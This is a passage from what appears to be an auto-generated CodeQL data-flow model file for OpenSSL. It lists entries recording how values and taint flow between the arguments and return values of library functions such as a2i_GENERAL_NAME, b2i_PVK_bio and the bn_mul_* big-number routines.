*)", "", "Argument[*0].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X9_62_CHARACTERISTIC_TWO_free", "(X9_62_CHARACTERISTIC_TWO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X9_62_CHARACTERISTIC_TWO_free", "(X9_62_CHARACTERISTIC_TWO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X9_62_PENTANOMIAL_free", "(X9_62_PENTANOMIAL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X9_62_PENTANOMIAL_free", "(X9_62_PENTANOMIAL *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "_CONF_add_string", "(CONF *,CONF_VALUE *,CONF_VALUE *)", "", "Argument[*1].Field[**section]", "Argument[*2].Field[**section]", "value", "dfc-generated"] + - ["", "", True, "_CONF_add_string", "(CONF *,CONF_VALUE *,CONF_VALUE *)", "", "Argument[*1].Field[*section]", "Argument[*2].Field[*section]", "value", "dfc-generated"] + - ["", "", True, "_CONF_new_section", "(CONF *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**section]", "value", "dfc-generated"] + - ["", "", True, "_CONF_new_section", "(CONF *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**section]", "taint", "dfc-generated"] + - ["", "", True, "a2d_ASN1_OBJECT", "(unsigned char *,int,const char *,int)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "a2d_ASN1_OBJECT", "(unsigned char *,int,const char *,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "a2i_GENERAL_NAME", "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "a2i_GENERAL_NAME", "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "a2i_GENERAL_NAME", "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "a2i_GENERAL_NAME", "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int)", "", "Argument[3]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "a2i_GENERAL_NAME", "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int)", "", "Argument[3]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "a2i_IPADDRESS", "(const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "a2i_IPADDRESS", "(const char *)", "", "Argument[0]", "ReturnValue[*].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "a2i_IPADDRESS_NC", "(const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "a2i_IPADDRESS_NC", "(const char *)", "", "Argument[0]", "ReturnValue[*].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "app_http_get_asn1", "(const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *)", "", "Argument[*7]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "app_http_get_asn1", "(const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *)", "", "Argument[*7]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "app_http_post_asn1", "(const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *)", "", "Argument[*12]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "app_http_post_asn1", "(const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *)", "", "Argument[*12]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "app_http_post_asn1", "(const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *)", "", "Argument[*8]", "Argument[8]", "value", "df-generated"] + - ["", "", True, "app_http_post_asn1", "(const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *)", "", "Argument[*9]", "Argument[8]", "taint", "df-generated"] + - ["", "", True, "app_http_tls_cb", "(BIO *,void *,int,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "app_http_tls_cb", "(BIO *,void *,int,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "app_http_tls_cb", "(BIO *,void *,int,int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "app_http_tls_cb", "(BIO *,void *,int,int)", "", "Argument[0]", "ReturnValue[*].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "app_keygen", "(EVP_PKEY_CTX *,const char *,int,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "app_paramgen", "(EVP_PKEY_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "app_params_free", "(OSSL_PARAM *)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "app_params_new_from_opts", "(stack_st_OPENSSL_STRING *,const OSSL_PARAM *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "app_params_new_from_opts", "(stack_st_OPENSSL_STRING *,const OSSL_PARAM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "app_params_new_from_opts", "(stack_st_OPENSSL_STRING *,const OSSL_PARAM *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "app_passwd", "(const char *,const char *,char **,char **)", "", "Argument[*0]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "app_passwd", "(const char *,const char *,char **,char **)", "", "Argument[*1]", "Argument[**3]", "value", "dfc-generated"] + - ["", "", True, "app_passwd", "(const char *,const char *,char **,char **)", "", "Argument[0]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "app_passwd", "(const char *,const char *,char **,char **)", "", "Argument[1]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "app_passwd", "(const char *,const char *,char **,char **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "app_passwd", "(const char *,const char *,char **,char **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "apps_ssl_info_callback", "(const SSL *,int,int)", "", "Argument[*0].Field[**tls]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "args_excert", "(int,SSL_EXCERT **)", "", "Argument[*1]", "Argument[**1].Field[**next].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "args_excert", "(int,SSL_EXCERT **)", "", "Argument[*1]", "Argument[**1].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "args_excert", "(int,SSL_EXCERT **)", "", "Argument[1]", "Argument[**1].Field[**next].Field[*next]", "taint", "dfc-generated"] + - ["", "", True, "args_excert", "(int,SSL_EXCERT **)", "", "Argument[1]", "Argument[**1].Field[*next]", "taint", "dfc-generated"] + - ["", "", True, "args_excert", "(int,SSL_EXCERT **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "async_wait_ctx_reset_counts", "(ASYNC_WAIT_CTX *)", "", "Argument[*0].Field[**fds].Field[**next]", "Argument[*0].Field[**fds]", "value", "dfc-generated"] + - ["", "", True, "async_wait_ctx_reset_counts", "(ASYNC_WAIT_CTX *)", "", "Argument[*0].Field[**fds].Field[*next]", "Argument[*0].Field[*fds]", "value", "dfc-generated"] + - ["", "", True, "b2i_DSA_PVK_bio", "(BIO *,pem_password_cb *,void *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "b2i_DSA_PVK_bio", "(BIO *,pem_password_cb *,void *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "b2i_DSA_PVK_bio_ex", "(BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "b2i_DSA_PVK_bio_ex", "(BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "b2i_PVK_bio", "(BIO *,pem_password_cb *,void *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "b2i_PVK_bio", "(BIO *,pem_password_cb *,void *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "b2i_PVK_bio_ex", "(BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "b2i_PVK_bio_ex", "(BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "b2i_PrivateKey", "(const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "b2i_PrivateKey", "(const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "b2i_PrivateKey", "(const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "b2i_PublicKey", "(const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "b2i_PublicKey", "(const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "b2i_PublicKey", "(const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "b2i_RSA_PVK_bio", "(BIO *,pem_password_cb *,void *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "b2i_RSA_PVK_bio", "(BIO *,pem_password_cb *,void *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "b2i_RSA_PVK_bio_ex", "(BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "b2i_RSA_PVK_bio_ex", "(BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "bio_dump_callback", "(BIO *,int,const char *,size_t,int,long,int,size_t *)", "", "Argument[6]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "bio_dump_callback", "(BIO *,int,const char *,size_t,int,long,int,size_t *)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] + - ["", "", True, "bn_compute_wNAF", "(const BIGNUM *,int,size_t *)", "", "Argument[*0].Field[**d]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "bn_compute_wNAF", "(const BIGNUM *,int,size_t *)", "", "Argument[*0].Field[*d]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "bn_compute_wNAF", "(const BIGNUM *,int,size_t *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "bn_copy_words", "(unsigned long *,const BIGNUM *,int)", "", "Argument[*1].Field[**d]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "bn_copy_words", "(unsigned long *,const BIGNUM *,int)", "", "Argument[*1].Field[*d]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_div_fixed_top", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_div_fixed_top", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "bn_div_fixed_top", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_div_fixed_top", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "bn_div_fixed_top", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_expand2", "(BIGNUM *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "bn_expand2", "(BIGNUM *,int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "bn_expand2", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[*dmax]", "value", "dfc-generated"] + - ["", "", True, "bn_expand2", "(BIGNUM *,int)", "", "Argument[1]", "ReturnValue[*].Field[*dmax]", "value", "dfc-generated"] + - ["", "", True, "bn_from_mont_fixed_top", "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_get_dmax", "(const BIGNUM *)", "", "Argument[*0].Field[*dmax]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "bn_get_top", "(const BIGNUM *)", "", "Argument[*0].Field[*top]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "bn_get_words", "(const BIGNUM *)", "", "Argument[*0].Field[**d]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "bn_get_words", "(const BIGNUM *)", "", "Argument[*0].Field[*d]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "bn_lshift_fixed_top", "(BIGNUM *,const BIGNUM *,int)", "", "Argument[2]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "bn_lshift_fixed_top", "(BIGNUM *,const BIGNUM *,int)", "", "Argument[2]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "bn_mod_add_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*3].Field[*top]", "Argument[*0].Field[*dmax]", "value", "dfc-generated"] + - ["", "", True, "bn_mod_add_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*3].Field[*top]", "Argument[*0].Field[*top]", "value", "dfc-generated"] + - ["", "", True, "bn_mod_exp_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*1]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "bn_mod_exp_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*1]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "bn_mod_exp_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_mod_exp_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "bn_mod_exp_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "bn_mod_exp_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "bn_mod_exp_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "bn_mod_exp_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_mod_exp_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "bn_mod_exp_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "bn_mod_sub_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*3].Field[*top]", "Argument[*0].Field[*dmax]", "value", "dfc-generated"] + - ["", "", True, "bn_mod_sub_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*3].Field[*top]", "Argument[*0].Field[*top]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_add_words", "(unsigned long *,const unsigned long *,int,unsigned long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_mul_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "bn_mul_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_mul_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "bn_mul_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_mul_low_normal", "(unsigned long *,unsigned long *,unsigned long *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_low_normal", "(unsigned long *,unsigned long *,unsigned long *,int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[*1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[*1]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[*2]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[*2]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[1]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_mul_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "bn_mul_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_mul_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "bn_mul_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_mul_normal", "(unsigned long *,unsigned long *,int,unsigned long *,int)", "", "Argument[*1]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_normal", "(unsigned long *,unsigned long *,int,unsigned long *,int)", "", "Argument[*3]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_normal", "(unsigned long *,unsigned long *,int,unsigned long *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_normal", "(unsigned long *,unsigned long *,int,unsigned long *,int)", "", "Argument[1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_normal", "(unsigned long *,unsigned long *,int,unsigned long *,int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[*1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[*1]", "Argument[*6]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[*2]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[*2]", "Argument[*6]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[1]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[2]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[4]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[4]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[5]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[5]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[*1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[*1]", "Argument[*6]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[*2]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[*2]", "Argument[*6]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[1]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[2]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[4]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[4]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[5]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[5]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_words", "(unsigned long *,const unsigned long *,int,unsigned long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_rshift_fixed_top", "(BIGNUM *,const BIGNUM *,int)", "", "Argument[2]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "bn_rshift_fixed_top", "(BIGNUM *,const BIGNUM *,int)", "", "Argument[2]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "bn_set_static_words", "(BIGNUM *,const unsigned long *,int)", "", "Argument[*1]", "Argument[*0].Field[**d]", "value", "dfc-generated"] + - ["", "", True, "bn_set_static_words", "(BIGNUM *,const unsigned long *,int)", "", "Argument[1]", "Argument[*0].Field[*d]", "value", "dfc-generated"] + - ["", "", True, 